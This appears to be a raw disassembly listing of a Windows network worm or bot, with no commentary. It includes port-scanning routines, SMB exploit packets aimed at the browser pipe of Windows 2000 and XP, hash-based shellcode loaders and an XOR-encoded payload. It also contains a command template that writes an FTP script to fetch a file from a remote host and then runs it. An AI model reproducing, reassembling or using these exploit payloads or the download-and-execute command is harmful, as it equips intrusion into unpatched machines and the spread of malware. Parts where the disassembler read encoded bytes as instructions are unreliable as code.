aFailedToSta_33 db ' Failed to start server, error: <%d>.',0
align 4
unk_43311C db 2Dh ; - ; DATA XREF: sub_40B945+386o
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aFailedToSta_34 db '- Failed to start server, error: <%d>.',0
unk_433154 db 2Dh ; - ; DATA XREF: sub_40B945+326o
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aServerStarte_2 db '- Server started on Port: %d.',0
align 4
unk_433184 db 2Dh ; - ; DATA XREF: sub_40B945+25Fo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aFailedToSta_35 db 'Failed to start server, error: <%d>.',0
align 4
unk_4331B8 db 2Dh ; - ; DATA XREF: sub_40B945+1FFo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aServerStarte_3 db 'Server started on Port: %d, File: %s.',0
align 4
unk_4331EC db 2Dh ; - ; DATA XREF: sub_40B945+137o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_36 db ' Failed to start server, error: <%d>.',0
align 10h
unk_433220 db 2Dh ; - ; DATA XREF: sub_40BFAA+DCo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0
align 4
unk_433248 db 2Dh ; - ; DATA XREF: sub_40BFAA+84o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_433280 db 2Dh ; - ; DATA XREF: sub_40C1BE+1E0o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0
align 10h
unk_4332C0 db 2Dh ; - ; DATA XREF: sub_40C1BE+168o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0
unk_4332F8 db 2Dh ; - ; DATA XREF: sub_40C1BE+103o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_43332C db 2Dh ; - ; DATA XREF: sub_40C1BE+87o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToInitia db 'Failed to initialize critical section.',0
align 10h
unk_433360 db 2Dh ; - ; DATA XREF: sub_40C415+92o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSPortDIsOp_0 db 'IP: %s Port: %d is open.',0
align 4
unk_433388 db 2Dh ; - ; DATA XREF: sub_40C4E2+41o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0
align 10h
unk_4333B0 db 2Dh ; - ; DATA XREF: sub_40C5D3+D1o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedScanni db 'Finished scanning IP: %s.',0
align 4
unk_4333DC db 2Dh ; - ; DATA XREF: sub_40C5D3+41o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0
align 4
aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40C94C+B2o
align 4
dword_433414 dd 10FF8h, 0 dword_43341C dd 10FF8h dword_433420 dd 7FFDF020h, 0 dword_433428 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4334B0 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_4334E0 dd 0 dd 800000D4h, 2 dup(0)
unk_4334F0 db 81h ; ; DATA XREF: sub_40CE45+Ao
db 2 dup(0), 44h
aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0
align 10h
byte_433540 db 41h ; DATA XREF: sub_40CEE3+108r
aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 8
; =============== S U B R O U T I N E =======================================
sub_433588 proc near ; DATA XREF: .packed:0040D1BFo
push ebx
push esi
push edi
sub sp, 80h
mov esi, esp
call sub_433684
push dword ptr [esi]
push 63D61209h
call sub_43369A
mov [esi+8], eax
call sub_43364D
push dword ptr [esi+4]
push 0CA2BD06Bh
call sub_43369A
mov [esi+0Ch], eax
call sub_4335FF
push dword ptr [esi+4]
push 4C0297FAh
call sub_43369A
xor ebx, ebx
push 410h
push ebx
call eax
mov ebx, eax
push esi
mov esi, [esi+10h]
mov edi, eax
mov ecx, 410h
rep movsb
pop esi
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
call dword ptr [esi+0Ch]
mov eax, [esi+8]
add sp, 80h
pop edi
pop esi
pop ebx
jmp eax
sub_433588 endp
; =============== S U B R O U T I N E =======================================
sub_4335FF proc near ; CODE XREF: sub_433588+33p
var_20 = dword ptr -20h
var_14 = dword ptr -14h
pusha
call sub_433628
mov eax, [esp+20h+var_14]
lea ebx, [eax+7Ch]
add dword ptr [ebx+3Ch], 5
add dword ptr [ebx+28h], 1000h
and dword ptr [ebx+28h], 0FFFFF000h
mov eax, [esp+20h+var_20]
add esp, 14h
push eax
xor eax, eax
retn
sub_4335FF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_433628 proc near ; CODE XREF: sub_4335FF+1p
xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
xor ebx, ebx
mov eax, 42904290h
loc_433637: ; CODE XREF: sub_433628+1Aj
xor ecx, ecx
mov cl, 2
mov edi, ebx
repe scasd
jz short loc_433644
inc ebx
jmp short loc_433637
; ---------------------------------------------------------------------------
loc_433644: ; CODE XREF: sub_433628+17j
mov [esi+10h], edi
pop dword ptr fs:[edx]
pop eax
popa
retn
sub_433628 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_43364D proc near ; CODE XREF: sub_433588+1Ep
pusha
mov edi, 7FFDF020h
mov ebx, [edi]
mov eax, [esi+8]
mov [edi], eax
mov edi, [edi-8]
add edi, 178h
mov ecx, edi
loc_433665: ; CODE XREF: sub_43364D+1Ej
cmp [ecx], ebx
jz short loc_43366D
mov ecx, [ecx]
jmp short loc_433665
; ---------------------------------------------------------------------------
loc_43366D: ; CODE XREF: sub_43364D+1Aj
mov edx, edi
loc_43366F: ; CODE XREF: sub_43364D+2Aj
cmp [edx+4], ebx
jz short loc_433679
mov edx, [edx+4]
jmp short loc_43366F
; ---------------------------------------------------------------------------
loc_433679: ; CODE XREF: sub_43364D+25j
mov [ecx], edx
mov [edx+4], ecx
mov byte ptr [ebx-3], 1
popa
retn
sub_43364D endp
; =============== S U B R O U T I N E =======================================
sub_433684 proc near ; CODE XREF: sub_433588+Ap
mov eax, ds:7FFDF00Ch
mov eax, [eax+1Ch]
mov ebx, [eax+8]
mov [esi], ebx
mov eax, [eax]
mov eax, [eax+8]
mov [esi+4], eax
retn
sub_433684 endp
; =============== S U B R O U T I N E =======================================
sub_43369A proc near ; CODE XREF: sub_433588+16p
; sub_433588+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
loc_4336B0: ; CODE XREF: sub_43369A+33j
jecxz short loc_4336EA
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
loc_4336BD: ; CODE XREF: sub_43369A+2Dj
lodsb
cmp al, ah
jz short loc_4336C9
ror edi, 0Dh
add edi, eax
jmp short loc_4336BD
; ---------------------------------------------------------------------------
loc_4336C9: ; CODE XREF: sub_43369A+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_4336B0
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
mov [esp+20h+var_4], eax
popa
retn 8
; ---------------------------------------------------------------------------
loc_4336EA: ; CODE XREF: sub_43369A:loc_4336B0j
; sub_43369A:loc_4336EAj
jmp short loc_4336EA
sub_43369A endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4336F0 proc near ; DATA XREF: .packed:0040D16Do
arg_0 = dword ptr 4
add esp, 0FFFFF254h
cld
call sub_433742
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
loc_43370D: ; CODE XREF: sub_4336F0+38j
jecxz short loc_43373D
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
loc_433718: ; CODE XREF: sub_4336F0+32j
lodsb
test al, al
jz short loc_433724
ror edx, 0Dh
add edx, eax
jmp short loc_433718
; ---------------------------------------------------------------------------
loc_433724: ; CODE XREF: sub_4336F0+2Bj
cmp edx, [esp+arg_0]
jnz short loc_43370D
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
mov ebx, [ebx+ecx*4]
add ebx, ebp
loc_43373D: ; CODE XREF: sub_4336F0:loc_43370Dj
mov [esp+arg_0], ebx
retn
sub_4336F0 endp
; =============== S U B R O U T I N E =======================================
sub_433742 proc near ; CODE XREF: sub_4336F0+7p
; FUNCTION CHUNK AT 0043377A SIZE 00000008 BYTES
xor eax, eax
mov eax, fs:[eax+30h]
test eax, eax
js short loc_43375B
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp loc_433766
; ---------------------------------------------------------------------------
loc_43375B: ; CODE XREF: sub_433742+8j
mov eax, [eax+34h]
add eax, 7Ch
mov ebp, [eax+3Ch]
loc_433766: ; CODE XREF: sub_433742+14j
pop edi
xor esi, esi
pusha
push esi
jmp short loc_43377A
sub_433742 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_43376D proc near ; CODE XREF: sub_433742:loc_43377Ap
push 60E0CEEFh
push 0E8AFE98h
push edi
jmp edi
sub_43376D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_433742
loc_43377A: ; CODE XREF: sub_433742+29j
call sub_43376D
loc_43377F: ; DATA XREF: sub_40C94C+320o
add [eax+0], ah
; END OF FUNCTION CHUNK FOR sub_433742
; ---------------------------------------------------------------------------
dw 0
dword_433784 dd 62B0606h, 2050501h, 0A0hdword_433790 dd 30h dword_433794 dd 0A1h dword_433798 dd 3 aCccc db 'CCCC',0 ; DATA XREF: sub_40C94C+153o
align 4
loc_4337A4: ; DATA XREF: sub_40C94C+E8o
jmp short near ptr dword_4337AC
; ---------------------------------------------------------------------------
db 6 dup(90h)
dword_4337AC dd 0 aCmdKEchoOpenSD db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
; DATA XREF: .packed:0040D194o
db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
align 8
dword_433818 dd 0E983C933h, 0D9EED9AFh, 5BF42474h; ---------------------------------------------------------------------------
loc_433824: ; CODE XREF: .packed:0043382Ej
xor dword ptr [ebx+13h], 6AD31EBBh
sub ebx, 0FFFFFFFCh
loop loc_433824
inc edi
jz short loc_43386B
and eax, 952CE753h
inc esp
jle short loc_433893
push es
lahf
cmp bl, [eax+2Fh]
xchg edx, [ebp+1FC36FAFh]
cmp al, 0E1h
; ---------------------------------------------------------------------------
dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
lahf
cmps byte ptr ss:[esi], byte ptr es:[edi]
loc_43386B: ; CODE XREF: .packed:00433831j
mov [eax], esi
inc ecx
imul dword ptr [ebx+50h]
js short near ptr loc_4338CA+1
lock xchg ax, bp
; ---------------------------------------------------------------------------
dw 768Ch
dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
dd 0C7CF6E30h
; ---------------------------------------------------------------------------
loc_433890: ; CODE XREF: .packed:004338BDj
xor [esi-25h], bl
loc_433893: ; CODE XREF: .packed:00433839j
xor al, 0D3h
nop
popf
db 64h
push edi
dec esi
sub al, 0BCh
mov al, ch
mov ch, 39h
fnsave byte ptr [esi-20h]
pop eax
shr dword ptr [ecx-60h], cl
pop eax
in al, 4Ah
sub al, 0BAh
loc_4338AC: ; CODE XREF: .packed:004338DFj
rcl ebp, cl
db 3Eh
xchg eax, esi
or byte ptr [esi+2Ch], 0BCh
in al, 97h
db 36h
or al, 3Ah
rep fld tbyte ptr [eax-12h]
jz short loc_433890
xchg eax, ebp
imul esi, [esi+0Ah], 63h
dec esi
mov bl, 84h
xchg eax, ebp
insd
dec ebp
loc_4338CA: ; CODE XREF: .packed:00433871j
cmp byte ptr [ecx], 0E8h
dec ebp
nop
cmp eax, edi
dec ebp
sub al, 0BAh
fnsave byte ptr [esi-2Dh]
paddusw mm1, qword ptr [ebp+5Ah]
mov ebp, [esi]
jbe short loc_433956
jo short loc_4338AC
fld dword ptr [ebp+edx*4+3BC3746Dh]
out dx, al
loope near ptr loc_4338ED+1
add bl, [edi]
loc_4338ED: ; CODE XREF: .packed:004338E9j
mov bl, 0FDh
sub esp, 0FFFFFFE1h
add eax, 3E1EE39h
add bl, [esi+57h]
push ebp
and ebp, esp
loope near ptr loc_433902+2
cmp ch, bh
dec edx
loc_433902: ; CODE XREF: .packed:004338FDj
xchg dl, [ebp-72447295h]
retn 0AAD8h
; ---------------------------------------------------------------------------
db 3Dh
dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh
dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
db 44h, 0C8h
; ---------------------------------------------------------------------------
loc_433956: ; CODE XREF: .packed:004338DDj
mov ecx, 2C294495h
mov edx, 0E92F4930h
jg short loc_4339DC
sub al, 0BCh
jmp near ptr 54453D4Ah
; ---------------------------------------------------------------------------
db 0D0h, 33h, 0Ah
dd 9505E1E8h, 6AD31E6Bh, 0
dword_433978 dd 0EFFFC481h, 44FFFFh, 4339C4hdword_433984 dd 42Ah dword_433988 dd 3E8h dword_43398C dd 258h byte_433990 db 0 ; DATA XREF: sub_40D86F+1EFr
; sub_40D86F+2CFr
align 4
dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)"
dd 2C6h, 264h, 0
dd 1
dword_4339A8 dd 20804h ; sub_40D86F+2E8o ...
aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: .packed:00433994o
align 4
dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
dd 532D3050h
; ---------------------------------------------------------------------------
loc_4339DC: ; CODE XREF: .packed:00433960j
push eax
xor al, 29h
loc_4339DF: ; DATA XREF: sub_40D86F+211o
add bl, ch
add al, [eax]
; ---------------------------------------------------------------------------
db 0
align 8
dword_4339E8 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0dword_4339FC dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: sub_40D86F+78o
; sub_40E453+1A4o
align 4
aSIpc db '\\%s\ipc$',0 ; DATA XREF: sub_40D86F+2Fo
; sub_40E453+150o
align 10h
aB: ; DATA XREF: sub_40DE14+ADo
unicode 0, <>
dw 4400h
aCkfdenecfdef_0 db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacaca_0 db ' CACACACACACACACACACACACACACACAAA',0
align 10h
dword_433A80 dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0)
; DATA XREF: sub_40DE14+CEo
dd 8AC0000h, 0E5000000h, 2003100h, 4D4E414Ch, 2E314E41h
dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h
dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh, 2 dup(0)
dword_433AE0 dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
; DATA XREF: sub_40DE14+E8o
dd 8AC0000h, 0E5000000h, 0FF0Ch, 2FFDF00h, 100h, 4E000000h
dd 0
dd 0D05C00h, 60007180h, 2B06064Ch, 5050106h, 3042A002h
dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah
dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0
db 0
db 20h, 2 dup(0)
db 0
db 0Ch, 0, 0Ch
db 0
db 20h, 2 dup(0)
db 0
aWorkstation1wi db 'WORKSTATION1Windows 2000 2195',0
aWindows20005_0 db 'Windows 2000 5.0',0
dd 2 dup(0)
dword_433B98 dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
; DATA XREF: sub_40DE14+102o
dd 8AC0000h, 0E5000800h, 0FF0Ch, 2FFDF00h, 100h, 94000000h
dd 0
dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h
dd 534D4C54h, 3005053h, 18000000h, 40001800h, 18000000h
dd 58001800h, 0
dd 70000000h, 0
dd 70000000h, 18000000h, 70001800h, 2 dup(0)
dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0)
db 0
db 2 dup(0), 8Fh
; ---------------------------------------------------------------------------
jno short loc_433C96
mov ecx, 484962Fh
retf 0EE65h
; ---------------------------------------------------------------------------
dw 0DAFBh
db 0CEh ; Î
db 9Eh, 0AFh, 28h
db 8Eh ; Ž
db 0EEh, 7Ah, 54h
db 69h ; i
db 85h, 28h, 57h
db 0
db 4Fh, 0, 52h
db 0
db 4Bh, 0, 53h
db 0
dd offset loc_410053+1
dd offset dword_490054
dd offset byte_4E004F
db 31h, 0, 57h
aIndows20002195 db 'indows 2000 2195',0
aWindows20005_1 db 'Windows 2000 5.0',0
align 10h
dword_433C90 dd 3A000000h db 0FFh, 53h
; ---------------------------------------------------------------------------
loc_433C96: ; CODE XREF: .packed:00433C3Cj
dec ebp
inc edx
jnz short $+2
; ---------------------------------------------------------------------------
dw 0
dd 20011800h, 3 dup(0)
dd 8AC0000h, 0E5000800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch
dd 244350h, 3F3F3F3Fh, 3Fh
dword_433CD0 dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
; DATA XREF: sub_40DE14+130o
dd 8AC0800h, 0E5000800h, 0FF18h, 80000h, 16h, 0
dd 2019Fh, 3 dup(0)
dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h, 2 dup(0)
dword_433D38 dd 92000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
; DATA XREF: sub_40DE14+14Ao
dd 8AC0800h, 0E5000800h, 48000010h, 0E0040000h, 0FFh, 2 dup(0)
dd 48004A00h, 2004A00h, 2600h, 5C004F40h, 45504950h, 5005Ch
dd 10030Bh, 480000h, 0
dd 16D00000h, 16D0h, 10000h, 0
dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h
dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h, 26048h
dd 0
dword_433DD0 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_40DE14+164o
; sub_40DE14+1DAo
dd 8AC0800h, 0E5000800h, 0FF0Eh, 400000h, 0FF000000h, 8FFFFFFh
dd 11800h, 3F011800h, 0
dd 5011800h, 10010000h, 18000000h, 1, 0
dd 1, 6B001F00h, 14C658Ch, 0
dd 1000000h, 0
dd 63366800h, 1, 63000000h, 4A000001h, 9F4340FCh, 9043F5F8h
dd 489B404Fh, 0F54F4A42h, 98469337h, 6A4F4998h, 0EED95951h
dd 0F42474D9h, 1373815Bh, 0AD136156h, 0E2FCEB83h, 0ECA5D7F4h
dd 579EA942h, 5E8A3C51h, 0EC9EAF45h, 7FEA3652h, 56EA7289h
dd 161DDD91h, 988E57D5h, 4CEA4EE2h, 5A8A578Dh, 12EA6226h
dd 8AA16743h, 67A1D201h, 1EAB97AAh, 0E78A94ACh, 3B450296h
dd 4CEAB3D8h, 758A5789h, 982A5A26h, 0F8604AF2h, 9AEA7AAEh
dd 727D72C1h, 77BA676Eh, 98511526h, 63EA5AEDh, 53EAFBB1h
dd 9D0908A5h, 438D58E3h, 40078052h, 21523ECBh, 211221C5h
dd 0C39E02F2h, 0EF8C9DC5h, 0C59E0696h, 7584DFF2h, 1169BB2Ch
dd 0EC633CF8h, 1AB83E7Dh, 0EC36FB58h, 4032057Bh, 402205FEh
dd 0C39E05EEh, 0FCDF3ECBh, 0F2E805CBh, 0C53E38h, 0
dword_433F30 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_40DE14+17Eo
; sub_40DE14+1F4o
dd 8AC0800h, 0E5000800h, 0FF0Eh, 18400000h, 0FF000001h
dd 8FFFFFFh, 11800h, 3F011800h, 0
dd 5011800h, 10000000h, 18000000h, 1, 0
dd 1, 9001F00h, 0EC3691DDh, 42713C7Bh, 7BB1A9F8h, 0FA4FFB09h
dd 40B7A9FAh, 7BB1A9F8h, 5AE71F48h, 43B7A9FAh, 0EC3402F9h
dd 0F409C57Dh, 441890D4h, 0EC348052h, 770B307Dh, 7E023ECBh
dd 430BB324h, 9AAD7FF4h, 9A253C4Ah, 0E0A1674Fh, 3E23A807h
dd 804D1453h, 0B8592C20h, 6109FD06h, 0EC77E553h, 0C59E12D8h
dd 423301F6h, 120B07FCh, 423407FCh, 0BE098652h, 40AF5374h
dd 0EC0B8052h, 0C39E6152h, 909D0126h, 0C59E3269h, 7BB1A9FFh
dd 73819842h, 0ECB7A9FEh
aR18zt89rmiyrru db '}R18zT89rMIyrrUxOD5Ldn90tdGUQ4xcbHSBmL1VZjHnU02M96tnEaW4RWvmqwAt8'
db 'atPAlENccp4U21A45xy0anPR7ULgqNdyZCRr0ljcyOmnK7',0
align 10h
dword_434090 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_40DE14+198o
; sub_40DE14+20Eo
dd 8AC0800h, 0E5000800h, 0FF0Eh, 30400000h, 0FF000002h
dd 8FFFFFFh, 11800h, 3F011800h, 0
dd 5011800h, 10000000h, 18000000h, 1, 0
dd 1, 34001F00h, 31323231h, 416E5553h, 536C4D46h, 39646C65h
dd 79656A43h, 71423371h, 72736837h, 5A4E4241h, 6F7A7255h
dd 32423650h, 35727354h, 69577A65h, 71695269h, 5353656Ch
dd 4C687364h, 4B633767h, 665A6836h, 7053536Ah, 6552385Ah
dd 45786F58h, 615A547Ah, 716C4F55h, 32397643h, 55347731h
dd 6752794Bh, 346B734Eh, 59737474h, 484B4C5Ah, 5A333335h
dd 37304144h, 796F4E68h, 536E6337h, 0A644454h, 32000208h
dd 46377936h, 4534979h, 6F000208h, 6A695059h, 584A5559h
dd 52496165h, 49475966h, 63483643h, 6C7A3476h, 3859636Ah
dd 44B4B50h, 49000208h, 6E5A5671h, 46C554Fh, 77000208h
dd 634D6F6Bh, 39716F79h, 61716D4Eh, 674A696Ah, 65526C36h
dd 49637A79h, 58526F70h, 793833h, 0AE576800h, 1000000h
dd 0
dd 1000000h, 0
dd 0AD91A700h, 2 dup(0)
dword_4341F0 dd 66000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
; DATA XREF: sub_40DE14+1AFo
; sub_40DE14+225o
dd 8AC0800h, 0E5000800h, 1C000010h, 0E0040000h, 0FFh, 2 dup(0)
dd 1C004A00h, 2004A00h, 2600h, 5C002340h, 45504950h, 5005Ch
dd 100200h, 1C0000h, 0
dd 40000h, 0
dd 1Fh, 2 dup(0)
unk_434260 db 81h ; ; DATA XREF: sub_40DE14+283o
db 2 dup(0), 44h
aCkfdenecfdef_1 db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacaca_1 db ' CACACACACACACACACACACACACACACAAA',0
align 10h
dword_4342B0 dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0)
; DATA XREF: sub_40DE14+2A4o
dd 2D80000h, 97230000h, 2003100h, 4D4E414Ch, 2E314E41h
dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h
dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh, 2 dup(0)
dword_434310 dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
; DATA XREF: sub_40DE14+2BEo
dd 2D80000h, 97230000h, 0FF0Ch, 2FFDF00h, 100h, 4E000000h
dd 0
dd 0D05C00h, 60007180h, 2B06064Ch, 5050106h, 3042A002h
dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah
dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0
db 0
db 20h, 2 dup(0)
db 0
db 0Ch, 0, 0Ch
db 0
db 20h, 2 dup(0)
db 0
aWorkstation1_0 db 'WORKSTATION1Windows 2000 2195',0
aWindows20005_2 db 'Windows 2000 5.0',0
dd 2 dup(0)
dword_4343C8 dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
; DATA XREF: sub_40DE14+2D8o
dd 2D80000h, 97230800h, 0FF0Ch, 2FFDF00h, 100h, 94000000h
dd 0
dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h
dd 534D4C54h, 3005053h, 18000000h, 40001800h, 18000000h
dd 58001800h, 0
dd 70000000h, 0
dd 70000000h, 18000000h, 70001800h, 2 dup(0)
dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0)
db 0
db 2 dup(0), 0A3h
db 9Eh ; ž
db 5Eh, 9Bh, 4
db 57h ; W
db 0E3h, 15h, 0B7h
db 6Fh ; o
db 44h, 0E9h, 1Eh
db 49h ; I
db 0FEh, 0C0h, 0BEh
db 0E9h ; é
db 0A6h, 0A7h, 7Fh
aPmiw db 'pmiW',0
aO_0 db 'O',0
dd offset word_4B0052
db 53h
db 0
dd offset loc_410053+1
dd offset dword_490054
dd offset byte_4E004F
db 31h, 0, 57h
aIndows200021_0 db 'indows 2000 2195',0
aWindows20005_3 db 'Windows 2000 5.0',0
align 10h
dword_4344C0 dd 62000000h, 424D53FFh, 73h, 20011800h, 3 dup(0)
; DATA XREF: sub_40DE14+2EFo
dd 2D80000h, 97230000h, 0FF0Dh, 2FFDF00h, 100h, 2 dup(0)
db 0
db 2 dup(0), 40h
db 0
db 2 dup(0), 25h
db 0
db 2 dup(0), 57h
aIndows200021_1 db 'indows 2000 2195',0
aWindows20005_4 db 'Windows 2000 5.0',0
align 4
dword_434528 dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0)
; DATA XREF: sub_40DE14+306o
dd 2D80000h, 97230801h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch
dd 244350h, 3F3F3F3Fh, 3Fh
dword_434568 dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
; DATA XREF: sub_40DE14+31Do
dd 2D80800h, 97230801h, 0FF18h, 80000h, 16h, 0
dd 2019Fh, 3 dup(0)
dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h, 2 dup(0)
dword_4345D0 dd 92000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
; DATA XREF: sub_40DE14+337o
dd 2D80800h, 97230801h, 48000010h, 0E0040000h, 0FFh, 2 dup(0)
dd 48004A00h, 2004A00h, 2600h, 5C004F40h, 45504950h, 5005Ch
dd 10030Bh, 480000h, 0
dd 16D00000h, 16D0h, 10000h, 0
dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h
dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h, 26048h
dd 0
dword_434668 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_40DE14+351o
; sub_40DE14+3E0o
dd 2D80800h, 97230801h, 0FF0Eh, 400000h, 0FF000000h, 8FFFFFFh
dd 11800h, 3F011800h, 0
dd 5011800h, 10010000h, 18000000h, 1, 0
dd 1, 0F2001F00h, 1F2207Ch, 0
dd 1000000h, 0
